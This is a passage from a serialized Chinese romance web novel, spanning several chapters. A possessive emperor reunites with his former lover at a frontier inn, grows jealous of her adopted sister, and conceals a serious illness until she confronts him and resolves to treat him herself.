穆轩岚不再逼她，终于大慈大悲地托住她，抱着她往床榻边走去。
秦千千本想再吃会儿饭的，结果穆轩岚却抱着她不松手，没办法，两个人只能和衣而卧。
这一夜，两个人都睡了个安稳觉。
就是第二天天不亮，穆轩岚就从梦中惊醒，与往常直接坐起身不同，他只是倏然转头往身边看。
看到她依旧躺在自己怀中时，这才松了一口气。
昨夜要早睡的人是他，可睁着眼睛熬穿长夜的人，也是他。
穆轩岚心中欣喜与畅然此起彼伏，他只有一点点担忧，怕千千知道自己昨夜没睡。
两个人相拥而眠前，秦千千心疼地看着他，指尖轻抚过他眼下的乌青，她再三哄劝他早些休息。
在他一声声推拒中，秦千千也知道他在忧愁什么，于是她又是把自己手也拴住，又是跟他发誓不会离开。
总之，秦千千就是用尽浑身解数，才把他哄睡。
其实是穆轩岚在哄她，在她沉沉睡去后，他就那么看着秦千千，指尖又悄悄绕着怀中人的头发，他心里像裹了蜜一般。
“甜的我睡不着。”他如是跟她坦白。
秦千千趴在他胸口，掐着他下巴轻轻晃了晃，她气得不轻。
“亏我昨夜还给你用了舒目霜，白用，真是白用。”
那其实是价格堪比金粉的活血良药，秦千千动手改良成祛瘀霜，她平日就涂在眼下祛瘀的。
穆轩岚脸上的倦容看得她心疼，昨夜秦千千就给他涂了些，他当时还捣乱，也给她涂上。
看着她气鼓鼓的样子，穆轩岚笑得胸腔都在小幅震动，他左手捧上秦千千的脸，一脸稀奇地开口。
“谁说白用？你这不好了很多。”
说着，他拇指指腹擦过秦千千眼下，那里的皮肤白皙细腻，他不由自主多摸了两个来回。
很明显，她昨夜并未习惯与人同住，夜里不时会猛地发抖，抬头看清“睡着”的穆轩岚后，这才会再度躺进他臂弯继续睡。
看他这般轻松惬意的样子，秦千千也不愿意扫兴，再度重逢后，她恨不得把穆轩岚捧在手上，自然对他百依百顺。
两个人又在床上畅聊半天，穆轩岚听着她讲述各种故事，他时不时应一声，可不管秦千千看得见看不见，他的嘴角都是上扬的。
咚咚咚。
敲门声传来，秦千千一个鲤鱼打挺坐了起来，她赶忙拉起被子盖住穆轩岚，这边刚把他盖严实，门外的人就推门进来了。
“老板，你今日怎么还没起！我昨天给你买了个木簪，你快点戴上给我看……”
云彩看着床上的两个人，楞在当场。
她今年才庆过十六岁生辰，但也不是什么都不懂，更何况她们都睡一张床上了，她还有什么不懂的。
穆轩岚好整以暇地侧身撑头，他抬眼看着秦千千，想听她会如何介绍自己。
谁知还不等千千开口，那丫头已经猜出来真相了。
“喔！千千，这位就是你经常去看的舞姬吗？”云彩朝她挑了挑眉，一脸欣喜地问秦千千。
像，又不像。
云彩看着他丰神俊朗，又带两分慵懒的面容，的确像是能颠倒众生的主儿。
要说哪里不像，只能说他身上有种气场，让人感觉很难靠近的那种。云彩大字不识一个，她只能想起，有时秦千千也会有这种气场，挺骇人的。
就比如现在，在她话音刚落，那人脸色突然阴沉起来，扫自己一眼，云彩很想原地拔腿就跑。
秦千千常常骂她看不懂脸色，云彩此时很想为自己辩驳一句，她现在绝对学会怎么看人脸色了。
可转念一想，他充其量是一个舞姬，仗着老板对他的喜爱，豪横一番罢了。
老板对自己可好着呢，怎么会因为他骂自己？于是，云彩又硬气了起来。
秦千千双手攥拳，她抬着眉毛微微瞪大眼睛，脸上带着善意的笑容，让云彩先出去。
云彩正准备辩解什么，秦千千却不耐烦地“啧”了一声，她只好灰溜溜地放下木簪，转身离开。
“哎……”
看她垂头丧气的样子，秦千千想说自己不是嫌弃她，结果穆轩岚突然起身，一手环
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住她的腰，一手捂住她的嘴。
由着他片刻后，看他还不愿意松手，秦千千拍了拍他的胳膊，穆轩岚这才缓缓松开她的嘴，胳膊向下，这下倒好，两只胳膊都横在她腰际。
“你刚刚捏我干嘛，待会儿云彩生气了，我还得去哄她。”
“哄她？你最好先哄哄我，什么舞姬，还经常去？”
穆轩岚不紧不慢地说着，他侧头看向怀中人，秦千千脸上哪还有不悦，她低垂眉眼认真听着。
别人不清楚，穆轩岚可清楚的很，她这般表情，就是认错专用的。
低垂的眉眼下敛藏的，也不是什么羞愧，而是在想应对的计谋。
之前的穆轩岚看她这般可怜样，都不愿再让她为难，可现在不同，有些事情得问清楚。
“这个……”
秦千千说话很少结巴，结果这次她开口就顿住了，穆轩岚低声浅笑，给了她个台阶下，环在她腰侧的手揉了揉。
“很疼吗？我刚刚真的没用力。”
真情是击碎一切伪装的利器。
虽说穆轩岚胳膊没用多大劲，但他还是没想明白，她是怎么在自己怀中掉转方向，又跨坐在自己腿上的。
又或许这个动作他太过熟悉，自然而然就配合她完成了。
秦千千叹了口气，她双手搭在穆轩岚肩头，四目相对。看他眼中满是坦然与笑意，秦千千心却痛起来。
这问题不问清楚，将成为她心中永远的坎。
“你为什么不怪我？”
“那你又为什么不怪我？”穆轩岚反问她。
他眼中熠熠生辉的爱意，多到秦千千无法忽视，多到她深感惶恐。可她不知道的是，穆轩岚眼中的她，亦是如此。
在失去她的那些年岁中，穆轩岚与一切和她有关的事情和解，他甚至有想过，若是千千死而复生，他们之间的恩怨该如何理清。
“千千，我们之间的事情理不清，我也不想理清了。我骗你在先，还在嘉松别苑给你下药，让你钟情我，你的假死相比我的所作所为，一点都不过分。”
穆轩岚满脸歉疚，他哑着声音说下去，哪怕秦千千要捂他的嘴。他不舍得用力囚着她的手，便只抓在手心把玩。
“理清恩怨情仇，在我看来就是要划清界限，也是要恩断义绝。千千，我不要这样，我要生生世世跟你缠在一起。”
他手上的动作，随着话语而变化，把她的手攥在手中不松，而他眼睛诚挚地盯着秦千千。
“不要拒绝我，我再没有一颗心用来心碎了。”
秦千千眼泪在眼眶打转，泪水模糊了视线，可她没有错过穆轩岚脸上的无奈，她的心也要跟着碎了。
这个权倾天下的人，不该如此。
“不会了，我再不会拒绝你了。”
两个人彻底把话说开后，便又缠着对方直到过了晌午才悠悠下床。
穆轩岚起来帮她拿干净衣服，帮她穿衣服的时候，他问起千千什么时候跟他回京都。
“京都？我不会回去的。”
看着早上刚答应过自己的人出尔反尔，穆轩岚替她系腰带的手又作乱起来。
“怎么？舍不得你那个舞姬，大不了一起带走就是。”
153. 穆轩岚和白邵禾不一样
虽然并没有什么舞姬，但秦千千还是故意逗他，她仰脸微笑着问他真不真？
“君无戏言。”看着秦千千挑眉不可置信的样子，他又阴恻恻地附加一句：“他到时候会死得很惨。”
到了这边塞之地，不赏异域风光却也着实可惜，哪怕下楼时已经下午了，秦千千还是提议出去转转。
在楼下她也见了元德，而元德也真的像她的伙计一般，站在账房边帮忙打理生意。
远远看到并排下楼的两人，元德赶忙跑过去，被时间冲淡的羞愧和歉疚，夹杂着重逢的喜悦，让元德不知道自己该说什么。
千言万语，汇做一句：老板好。
秦千千笑着拍了拍他的胳膊，打趣他：“这几年你没少给我添乱，一句问好可抵不过这些。”
穆轩岚知道，她这是在说，自己天南海北派人找她的事情。不过并不是诘责，只是开玩笑罢了。
毕竟，她已经拿着这事儿威胁过自己了。现在看来，又要如法炮制一波了。
“老板教训的是，我的确……”
秦千千可不是想看他检讨自己的，她立马摆了摆手，元德当即噤声。
“趁这两天好好歇歇，你现在就是我店里的伙计，可不是他的什么护卫，帮我看着场子吧。”
这里不比清风酒楼，有她养着的百八十个打手，这地界本来就乱，再加上镇场的人不多，她这地方隔三差五就要被人打砸一通。
听她说着，穆轩岚的脸瞬间就黑了下来，他就见不得她被欺负。
他什么都没说，递了个眼神给元德，元德立马心领神会。
与他们随行而来的暗卫有上百人，查清缘由，教训一下那些地痞流氓，是再轻松不过的事情了。
交代完元德，秦千千就带着穆轩岚出门，结果碰到了坐在门口的云彩，她胳膊撑在膝盖上，手托着脸看向远处。
秦千千知道，她这是还在生气。
穆轩岚不耐烦地扫了那姑娘一眼，他很不爽。
与千千重聚的每一瞬间，他都百倍珍惜，更别说秦千千本人，他更是捧在手里怕碎了。
可这丫头片子，却对她吵吵嚷嚷的，还摆脸色给千千看，千千还要晾着自己去哄她……
真是倒反天罡！
秦千千似乎察觉到什么，她立马转头看向穆轩岚，他脸上的不悦还没来得及藏好，就被秦千千全部觉察。
她还能怎么办？自然是示意他先去屋中等自己，眼下还是安慰云彩比较重要。
穆轩岚双手抱胸，他才不回去，他就倚在门口，无声表达着自己的不满。
不知道秦千千跟她耳语了什么，她立马就消了气，欢欢喜喜地起身回屋了。在路过穆轩岚的时候，还撇了他两眼。
送走小祖宗，秦千千过来安慰大祖宗。
“走，我们去……”
“我不想去了。”穆轩岚一脸认真地拒绝她，秦千千震惊地瞪大了眼。
重逢第二天，意料之外的分歧就来了。
秦千千低垂的眼眸一转，心中便相处了对策。她用手戳了戳他环在胸前的手臂，问他真的不去吗？
难得有能小耍脾气的时候，穆轩岚才没那么容易服软，他理所应当地点头，想要她多来哄哄自己。
秦千千早就看穿了他的心事，可她秦千千，本就是不按常理出牌的人。
“那好吧，那我就自己去找那个舞姬了。”
她潇洒转身离开，一秒都不带犹豫的。
穆轩岚这下真的被气坏了，关于那个舞姬，她又不跟自己解释，还三番五次拿他招惹自己……
他一把抓住她的手腕，语气愈发强硬：“不许去，你说好了要带我出去游玩的。”
秦千千言笑晏晏地转头，穆轩岚知道，自己又被她涮了。
罢了，也是自己心甘情愿。
泛舟湖上的时候，穆轩岚不得不感叹，百里黄沙中，竟然还有这澄澈见底的一汪湖泊！
而且湖上除了她们这一艘船外，再没有别人的踪影。放眼望去，黄沙戈壁之上，也不见其它人的影子，哪怕有，现在也看不真切了。
微风拂过湖面，又略过两人，秦千千笑着掬了一抔水，朝他撒过来，其实水都从指缝间溜走，泼过去的，只是星星点点的水渍而已。
在烈阳炙烤下，穆轩岚只看得到水珠在莹莹发光，眼前的人与景色相得益彰，美得他不舍得闭眼，就这么被水溅湿了脸庞。
偷袭的人是秦千千，最后恼羞成怒的也是她。
一叶扁舟经不起多大颠簸，所以她给穆轩岚擦水的动作，也不敢太大，连带着她拿着手帕的动作，也相当温柔。
“怎么就不知道躲躲？打湿了衣服事儿小，生病了可怎么办。”
穆轩岚毫不遮掩地盯着她，听着她喋喋不休地为自己考虑，他不止心中开心，更是笑出声。
“我以为你心中只有那小丫头呢，原来还是会关心我的啊。”
秦千千本以为他在说笑，毕竟一国之主怎么可能跟一个丫头片子争风吃醋？
可当她不甚在意地望向他眼睛时，秦千千这才警觉，这人竟然不是在开玩笑。
不过也算是歪打正着，秦千千刚好借着这个机会，跟他坦白今天必须得说明白的一个事情。
“你知道我为什么拒绝回京吗？”秦千千表情认真起来，她攥紧手中的方帕，似乎也很纠结。
“知道，因为你还恨我。”
秦千千被这一通乱答给搞晕了，她赶忙拉住穆轩岚的手，急切地跟他说，不是那样的。
“那你爱我吗？”
她方寸大乱，可他却步步为营。
秦千千哪还顾得上别的，她立马点头，怕他不信，便又郑重其事地复述了一遍。
“我当然爱你，否则又怎么会为你日夜担忧数年，你别那么……”
“那好，那你就跟我回去。”
在穆轩岚看来，千千是背井离乡出逃到这里的，虽说这里有与京都完全不同的异域风光，但又怎么比得上她熟悉又惬意的京都？
之前京都危机四伏，现如今自己已然成了皇帝，怎有护不了她周全的说法？
无论出于哪种原因，他都想让千千跟自己回去。
秦千千这才看懂他的意思，她低头浅笑，笑自己竟然被套路了。在穆轩岚紧紧跟随的目光下，她才给出了自己的答复。
“你变了。”
一句无悲无喜的话，却听得穆
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轩岚心惊。转瞬间，他早已产生千百个念头，最终所有念头汇聚成一个：自己让她失望了。
看着他越发阴沉的脸，秦千千谈了口气，她就知道他一定又误解了自己的话。
“不是你想的那样！我的意思是，穆轩岚跟白邵禾不一样，你明白吗？”
穆轩岚几乎是一瞬间，就懂了她话中的意思。
当初与她相识，自己是披着“白邵禾”的外衣，那不是真正的他。再度重逢后，自己所表现出来的，才是真正的穆轩岚。
“你喜欢白邵禾，却不喜欢我是吗？”
执政多年，穆轩岚身上的那种不容置疑的气场，越发骇人，更别说第一次见到他如此冷脸的秦千千了。
她立马摇头否认，这三年终究还是改变太多了，亦或者穆轩岚本身就心思缜密、患得患失。
“不不不，他们都是你，我怎么会不喜欢你！我今天把你喊到这里，的确是想告诉你，我不能回去的原因，可那并不是因为你。”
其实是因为云彩，当初救了她后，秦千千才得知她颠沛流离、曲折动荡的一生。
所有被抢去的人，都丢在一个巨大的沙坑中，云彩在那里听说了很多事情。而那段时光也是最为难捱的，饭菜都是歹人随便扔进坑中的。
待遇自然不必多说，非打即骂，那些五大三粗的歹人，不仅虐待女人，也虐待男人。
坑中的人是一批又一批地死去，云彩因为年纪小机灵，在那里送走了三批人。
最可怕的是，死掉的人还会在沙坑中……云彩就是在那种环境中扛过来的。
说到这里，秦千千浑身血都是凉的。
她自小跟着主人，虽不说娇生惯养，那也是百般呵护下长大的，亲眼见证这些骇人听闻的事情，她每每想起此事，都几乎喘不上来气。
穆轩岚察觉她浑身紧绷，便让她坐在自己身边，把她拥入怀中。比起云彩的悲惨过往，他还是比较关心千千的状态。
再者，他现在对云彩的成见格外的大，她过往惨烈是真的，可这也让他更担心千千的安全。
从尸山血海中历练出来的人，心境绝对大变。千千虽然心性活泛，但若是被这种人哄骗，那就要栽大跟头。
秦千千丝毫不知道他的心事，她熟门熟路地把头倚在他颈侧，平复心情后继续说着故事。
“我花了一年时间，才让她接受我是她世上唯一亲人的事情。这几年，我没有与任何人联系，所以在她看来，我们两个就是相依为命的姐妹……”
穆轩岚紧皱眉头，他已经知道千千说这话的意思了，她这是要为了云彩，放弃曾经的一切了。
“你在门口跟她说了什么？不会再度跟她允诺，你不会离她而去吧？”
回答他的，是秦千千仰头看他的脸。
“实在不行就带她一同回京。”穆轩岚还是妥协了，他没办法强硬要求她做选择，那是在为难她。
“其实我当时是答应她，要把那些恶人杀光的，现在心愿未了，我不能走。”
秦千千说完，穆轩岚这才长出一口气，杀一些恶人而已，完全不用为此多费心机。
别说屠戮恶人，就算是让铁骑荡平这风陵，他现在也做得出来。
154. 我看他好像快死了
“我吩咐下去，直接全都杀了就好，这种事情还用得着劳烦你运筹帷幄吗？”
看着他笃定的样子，秦千千突然会心一笑。果然，他当了皇上之后，整个人有一种说不出的威严。
见他第一面，秦千千就想说了，可当时的久别重逢的氛围不适合说这个，她担心穆轩岚多想，便没有说。
等了好久，穆轩岚也没等到她回话，而她又在笑什么，听得他心痒痒的。
“怎么了？”
秦千千摇头，可看到他一脸迷茫时，她不忍再让他蒙在鼓里，便坦坦荡荡告诉了他。
“我知道殿下为什么看不惯云彩，殿下自己知道吗？”
穆轩岚自从她倚在自己怀里，便牵着她的手把玩，这是他在嘉松别苑养成的习惯。
离别的三年中，他手中取而代之的，是一圈脂玉手串。
现如今，总算是拨乱反正了。
听到这话，他揉捏千千掌心的手顿了一下。
好端端的，为什么要叫自己殿下？
“不知道。”
不管心中再怎么疑惑，他还是先按下疑惑，回答她的问题。
秦千千挑了下眉，她原以为穆轩岚会说知道的。其实很明显，他就是在不爽云彩霸占了自己，更别说还要跟他抢自己了。
听她分析，穆轩岚心满意足地点头。是的，这就是他的想法。
“那你为什么不说？”她疑惑。
穆轩岚低头抵了下她的额头，嘴角噙着浅浅笑意，“为了让你多跟我说两句话。”
秦千千直接笑出来，这才是她认识的，浑身计谋的储君殿下。
“更深方面的原因，其实是你不想别人忤逆你。或许在作为储君殿下的时候，你这个作风还不明显，成了一国之主后，这个作风，越发明显了。”
穆轩岚笑容僵在脸上，他从未想过这个问题，现在由她这么一说，他一时半刻也反应不过来。
三载时光，能回忆的太多又太痛，他这次想偷个懒。
“那你还会喜欢这样的我吗？”
风水轮流转，这下轮到秦千千愣住了，她每每看到穆轩岚这般患得患失，就心痛的不行。
她抬头吻在穆轩岚下巴处，轻柔的很，而她一直睁着眼看着穆轩岚，眼神比这个吻还要缱绻温柔。
“看来我以后要一天跟你说八百回，你才能记得我会一直喜欢你吗？”
穆轩岚心情愉悦地点头，这个提议好，可他对这个次数不是太满意，还可以再加一些。
低垂的夕阳染红天际，也染红他们泛舟的湖面，秦千千喊他欣赏这绝美的景色时，穆轩岚却从背后抱住她，表情有些异样。
这个姿势，她看不到自己的表情，穆轩岚心想。
可两句话后，秦千千就察觉他状态不对，问他到底怎么了。
现在本不该说悲伤的事情，不过那些事情都已经过去了，穆轩岚安慰好自己，才跟秦千千解释，自己突然心悸的原因。
在她刚假死的那段时间，他从未梦到过秦千千，可在第一次梦到她时，她就消失在一片血染的红湖中，任由他怎么努力，都没办法跑到她跟前救她。
“刚刚看到这湖，让我想起那天晚上了而已。”
秦千千不再面对漫天霞光，她转身看着穆轩岚，郑重地不行，语气却又柔和的不像话。
“这些悲伤的事情，不会再发生了。比起这些，我们应该记一些更幸福的事情，比如嘉松别苑我们在夕阳中一同回去，那天我累到让你背我，你记得吗？”
他怎么不记得，可是他笑不出来。
那天过去没多久，他就永远的失去了她。
最起码对于当初的他来说，那就是永远。
看着他依旧愁眉不展，却还试图表现出他没事的样子，秦千千早就知道他在懊悔什么，她轻叹一口气，决定多花些时间，帮他驱赶尽这三年的阴霾。
原本筹划好的几人夜宴，秦千千想借着这个机会，既老友重聚，又把云彩介绍给穆轩岚和元德认识。
可看他这个患得患失的状态，秦千千还是先推迟了这个计划，眼下没有谁比穆轩岚更重要了。
“那什么，你先吃着，我去找一下云彩。”
两人在屋中吃饭时，云彩在门口乱晃，她又不进去，也不喊秦千千出来。
穆轩岚看得出来，扰得千千根本没心情好好吃饭，她只随便吃几口，现在就要趁自己还在吃饭，得赶去哄云彩。
虽然自打见面后，穆轩岚从未跟千千分开过，可他还是觉得不够。但现在坚持，就是在为难她。
秦千千小心翼翼地问他，仿佛自己皱一下眉，她就立马不去了。他玩心大发，微微蹙眉。
“不……，我突然发现自己还没吃饱，再吃两口吧。”她立马开口找补，穆轩岚被她逗笑，“去吧，刚刚逗你玩呢。”
看着表情越发生动的穆轩岚，秦千千这才彻底放了心，她认命又无奈地笑笑，起身时顺势凑他脸前亲了一口。
“我最喜欢你了。”
想起那个八百遍的约定，哪怕秦千千没在他身边，穆轩岚脸上也泛起愉悦的笑容。
当初让云彩选房间，她自己选了一楼，秦千千则是一直选了一贯最喜欢住的楼上。在下楼的时候，她碰到了楼梯口站着的元德。
“这几天你也别累着，当时我说着玩的，你怎么那么认真当起店小二了？”
元德赶忙表示自己不累，能看到殿下放松，他也跟着欣慰，哪还能感觉到累？
秦千千不拿他当外人，便直接跟他说起近来的计划。
“轩岚看着神色如常，可是都是虚有其表，所以我想留他在这里调养些时日，京都那边……”
“老板放心，那边的消息不断往这边递着呢，公子来之前，也都处理的差不多了，所以在这儿呆多久都成。”
这才让秦千千放下心，她连连点头，却给元德留下一句惊世骇俗的话。
“嗯，调养的越好，到时你们回京，你就越省心。”
看着秦千千离去的背影，元德三步并作两步跑上楼。再急，他也没忘规矩，可不能敲门，穆轩岚就让他进屋。
“公子，我都按您吩咐的说了。”
“千千怎么说？”
穆轩岚哪还在吃东西，他现在一口东西都吃不下。
之前在京都，他就常常不用膳，全靠汤药和补品吊着身体；现在好不容易跟她重逢了，这情况也没好到哪
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里去。
最近两日他能吃进去的饭，全都是秦千千一筷一筷喂给他的，他不想她察觉什么，就会装吃的很香。
其实，他现在吃什么都是味同嚼蜡。
元德低头汇报完，果然听到殿下嗤笑一声，他喃喃自语，整个人又陷入了一种偏执到忘我的状态。
“我就知道，我就知道……”
“公子，或许是我听错了，也或许老板她并不是那个意思。”
穆轩岚的状态看得元德揪心，可他却不知如何是好。
最近半年来，殿下偶尔会陷入这种状态，触发这状态的口令倒也简单，跟秦老板沾上边的，都能让殿下为之失控。
半个月前，有飞贼闯入清风酒楼，被守卫抓住后，穆轩岚冷着脸让人凌迟了他。
那晚上，穆轩岚寝殿灯火通明，元德就在房中陪着他，准确说，是防着他伤害自己。
刀剑无眼，那道伤疤还横在殿下小臂处，元德想，疤痕应该还没消去。不知道，秦老板发现这个伤疤没有？
元德想不管不顾冲过去，跟老板坦白一切，让她救救殿下，可殿下命令过他不许说。
穆轩岚对元德下令，一般只说一遍，可这事儿，他却三令五申地勒令他。
于是，只有穆轩岚和元德知道，他们此次不仅仅是远赴故人重聚之约，更是为病入膏肓的殿下求药的。
求一味，不能开口求的药。
“云彩的仇家查清楚了吗，她的身世也好好查一查。”
穆轩岚强行让自己冷静下来，虽然嘴上没在复述，可他耳中还是那句“你们”。
他喉咙发紧，便拿起酒杯一饮而尽。
元德收起不由自主抬起的手，他不敢劝，在这里，他担心自己说多错多。
于是他只能看着，殿下一杯接着一杯饮酒，元德怔在原地不知如何是好。
“老板，你会跟着他走吧？我看他好像快死了。”云彩冷脸躺在床上，看着床榻边坐着的人。
秦千千立马呸呸呸，还揪住她耳朵，让她也赶紧呸几声。
“说什么呢云彩！我要他长命百岁地活着，你这丫头不许胡说！”
在她看来，穆轩岚就是心中有些扭曲罢了，那怎么能扯得上什么生死的事情。
秦千千自己不避讳这种事情，可放在穆轩岚身上，她却不允许别人这么说。
她一急，云彩也急了。
云彩双腿抬起来一用力，整个人坐起来，她一脸严肃地说道：“姐，看人你比我准，看死人你远远比不过我。”
说罢，她就犟着脖子看着秦千千，看秦千千微微瞪大眼睛，云彩这才继续说。
“要不是看你那么喜欢他，我是不会说的。”
云彩虽然不说，但她清楚的很，流落到这里的秦千千，绝对不像她对外宣称的那样，是个寂寂无名之辈。
而她看秦千千第一眼，也看得出来，她心中藏着一件有沙坑大的悲伤之事。
在云彩的过往记忆中，沙坑中的那片天，是她见过最大的阴霾。刚认识秦千千，她不知道，这个整日坦然自若的人，也有一个她的沙坑。
见到穆轩岚的第一面，云彩就知道了。
哦，是他。
155. 你还要瞒我到什么时候
云彩会主动提起曾经的事情，是秦千千万万没想到的，那段回忆过于悲痛，以至于秦千千到现在不知道，也不敢问，她究竟经历了什么。
可现在她既然旧事重提，秦千千就知道云彩不是在闹脾气，她应该是真的看出些什么。
“云彩，你放心，我说过是你唯一的亲人，那我就永远都不会弃你于不顾，我说话算数，这你是知道的。”
云彩相当清楚，她无论提出多荒谬的建议，只要秦千千答应，那她便一定会办到。
她看着秦千千，轻叹一口气后，才将自己心底的想法彻底说出来。
“我不是怕你抛弃我，我只是习惯了跟你相依为命的日子，习惯了我们是彼此唯一的依赖，你明白我的意思吗？”
能让云彩敞开心扉不容易，秦千千戳了一下她太阳穴，十分宠溺地笑着说道。
“傻丫头！当初我也是这么依赖我主人的，我当然懂你的心情。”
云彩有事没事就缠着秦千千，让她讲那个运筹帷幄、又神通广大的主人，三年的相处中，也让她了解了不少这位传奇人物的故事。
现在一提起阁主，云彩又来了兴致。
“你是说，我以后也会成为像你一样厉害的人？”
秦千千失笑，这丫头怎么想一出是一出？不过她还是耐心又诚恳地回答云彩。
“当然不行！我能耐可没有主人大，所以自然培养不出来什么好苗子喽。”
“秦千千！”
云彩恼羞成怒，上去就掐住秦千千的脖子，把人盘翻在床上，她就骑在秦千千身上让她道歉。
她经常这样没大没小的，比之前的桃花花还要更上一层楼。
秦千千从不恼她，顺着她的话立马认输，还叫嚷着云彩大王饶命。云彩翻身下床后，秦千千缓了好一阵才起身。
“你这丫头武力倒是远超我，我可以考虑把你培养成比我厉害的打手，这我还是有信心的。”
秦千千在铜镜前伸着脖子查看“伤势”，往常被云彩掐之后会有手掌印，红彤彤的，看起来吓人，但其实一点也不痛。
这红痕两三天就能消掉，平日她对此不甚在意。可她刚刚才想起来，若是被穆轩岚看到，那事情就闹大了。
云彩凑过来看，她跋扈地哼了一声。
“我现在就比你强，这还用你培养？你还是快些去救你的情郎去吧。”
结果她跟秦千千一起出门，只不过一个人要上楼，一个人要出门。
秦千千眼睁睁看着她在屋中搜罗私房钱，拿了好几袋钱在身上，她停住上楼的脚步，喊住了云彩。
“你要出去买什么东西？”
“这你别管了，反正不是离家出走，我会回来的。”
“嘿……”
不等秦千千说完，云彩起身就溜了。
秦千千这才彻底放了心，不是离家出走就好。
虽说天色已晚，她的线人还并未遍布整个风陵，但有穆轩岚暗卫的加持，秦千千想，不会出什么意外的。
酒楼中声音嘲哳，穆轩岚心绪难平，元德又全神贯注地注意着殿下，以至于秦千千推门进来的时候，穆轩岚和元德并未有所准备。
“老板，那我就先退下了。”元德转身挡在穆轩岚身前，作揖准备离开。
“不，你留下，我有事情要问你们两个。”秦千千脸色严肃，推门而入的那一刹那，她看清了穆轩岚的表情。
苍白、憔悴。
再加上云彩说的话，秦千千突然心悸，她这才发现，他们二人好像有事瞒着自己。
“让他出去吧，你有什么问我就好。”穆轩岚开口道。
元德离开后，秦千千看着神色早已如常，又在给他自己斟酒的人，她紧紧皱起了眉头。
她上前夺过酒杯，拉着穆轩岚，让他跟自己对视。
“你是不是有事情瞒着我？”她满眼担忧地看着他，穆轩岚却嘴角噙笑，问她为什么这么问。
“我恨不得把心都掏给你，又怎么会瞒你什么呢？”
说着，他手抚上秦千千的脸庞，仿佛看不够似的，目光沉醉地盯着她的嘴看。
在秦千千轻启朱唇的下一瞬间，他就抬起她下巴吻了上去。
不要再问了，骗你不是我的本心。
穆轩岚心中饱受挣扎，他怕自己心中的挣扎被千千察觉，便在吻上她时闭上了眼睛。
秦千千没有错过那个表情，也早就从他异常的行为中，察觉到了不对劲。
往常他亲自己，都是又克制又温柔，哪跟现在这般，急切的不行。
似乎，想要堵住自己的嘴。
察觉出不对，秦千千也没舍得推开他，由着他怎么办吧。
穆轩岚直接把人打横抱起，往床边走去，秦千千轻拍他胸膛，打趣他。
“早上已经做过了，怎么现在还要？”
“不行？这几年欠着的，我都得补回来……哎……？”
他把千千放在床上，轻轻掰过她的头，这才看清那大片大片的红痕。穆轩岚顿时黑了脸，这不是云彩干的，还能是谁？
看他冷着脸要起身，秦千千立马勾上他脖颈，阻止了他的动作。
“这是怎么回事？”
穆轩岚撑在她上方，指腹轻轻摩挲那地方，稍稍发烫的温度从指尖开始灼烧，几乎是片刻，就燃起了他心中全部的怒火。
他语气很冷，不过秦千千却不害怕，她知道自己现在再表现出跟他疏离的话，这家伙真的会疯的。
“你有事瞒着我，那我也要瞒着你。”说罢，她还挑衅般地挑了下眉。
穆轩岚胸腔中的怒火突然消失，他无奈地认输，翻身坐了起来。
“好吧，那你倒是说说，我有什么事情瞒着你。”
看她躺在床上不起，穆轩岚单手撑头，侧躺在她身边，细细打量着她。
秦千千朝他伸出手，他虽然疑惑，但还是把手递了过去。
谁知道，秦千千三指并拢搭在了他腕间，俨然就是要诊脉的架势，穆轩岚当即抽回了自己的手。
纵使察觉到自己暴露了，他也没办法，只能先把手背在自己身后。
看着他如此抵触，秦千千叹了口气，她一脸为难地问他：“你还要瞒我到什么时候呢？”
“还是说，你也想假死吓我几年？你明明跟我说过，我们要坦诚相待的。”
她声音轻柔得不像话，穆轩岚看着她为自
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己忧虑，心中突然升腾起一股愉悦。
是了，她就该这个样子，眼中只有自己，只为自己欣喜或忧愁。
其他人，谁都不能抢走他的千千。
“我想把你囚禁在身边，让谁都不能觊觎你。这般坦诚，你能受得了吗？”说罢，他自嘲地笑了一声。
穆轩岚已经自暴自弃了，瞒着她于心不忍，不瞒更怕她离自己而去……没有两全之法，那就索性坦诚吧。
他不想看她的表情，怕从中看到任何一丝恐慌，那都会要了他的命。于是，他把面前愣住的人拥进怀中，想让她躺在自己胸前。
秦千千与他扯开距离，她看着彻底心灰意冷的穆轩岚，强行掰过他的下巴，让他看着自己。
“好啊，等你身体好起来，才有心力折腾我，不是吗？”
他眼睛骤然瞪大，似乎没有听懂秦千千的话，思虑片刻后懂了，但又不敢相信。
“你……，你为何……”
“因为我喜欢你，而且我笃信，你不会伤害我的，不是吗？”
秦千千本不是这般坦诚的人，可她发现，穆轩岚现在就需要她坚定不移、清楚明确的表达对他的爱意。
其中的缘由，都是离别的那段时间，他快被折磨崩溃了。这一点，也一直让秦千千耿耿于怀。
是她和主人，敲定了这个近乎残忍的计划，对她、对穆轩岚，都很残忍。
再度重逢后，她就有计划如何弥补他，只要穆轩岚能说到，秦千千就觉得自己能做到。
“在这里调养一段时间吧，若是觉得这里条件不好，我跟你回京。”
秦千千现在看着他眼底的倦容，总算知道自己近日总是心悸的原因，他正靠着一口气强撑着体面，自己竟然都没发现……
想到这里，泪水夺眶而出，她无助地趴在他胸口，小声啜泣。
在泣不成声前，她又哑着声音说了一句话，声音微不可查，但却让穆轩岚也红着眼眶崩溃了。
“对不起。”
赶来风陵的路上，穆轩岚又激动又后怕，他最担心的事情，不是情报是假的，不是秦千千再不原谅他，而是这句对不起。
明明错的是他和父皇，不管对清风酒楼也好、芳草阁阁主也罢，这场逢场作戏后的赶尽杀绝，对她们都是一场无妄之灾。
其中受害最严重的，就是秦千千。她被自己设计利用，又被迫假死背井离乡……
这一切的一切，都是自己对不起她。
穆轩岚有预想过，她那般豁达又通透的人，一定会告诉自己，过往的恩怨一笔勾销，那这对他来说，就算是赦免了他全部的罪了。
可她若是说一句对不起，当时的穆轩岚不知道自己会怎么做，可能会心碎至死吧？
“不不不，一切不是你的错，都是我的错，千千，不是我故意接近你，你也不用落到今天这步田地。”
穆轩岚答应她要坦诚，便把心中最郁结烦闷的话，直接告诉了她。
秦千千哭到一半，她眼睑上还挂着泪珠，就抬头瞪了他一眼。
这一对视，更是让穆轩岚心疼的不得了。
“那好，曾经的事情一笔勾销，我们以后都不要再提了，可以吗？”
156. 用情意绵绵治病的两个人
穆轩岚本来以为，千千会通知王老怪过来，他还为此担心了一下，晏信他们会不会就此知道她回来的事情。
到时候一堆人过来找她，穆轩岚可以预见，自己一定不会很开心。
或许是看透了他的脆弱，秦千千当晚就告诉他，他的病，她要亲自治。
虽说情人眼里出西施，可穆轩岚还是有点不可置信。之前同游那么久，他可从来不知道千千还会医术呢？
“我自小到大都没闲着，会的东西多着呢，你且看着吧，一定把你调养的很好。”
不过她也提前跟穆轩岚说好，接下来这段时间，他事事都要听自己的，不要，最好不要反对她。
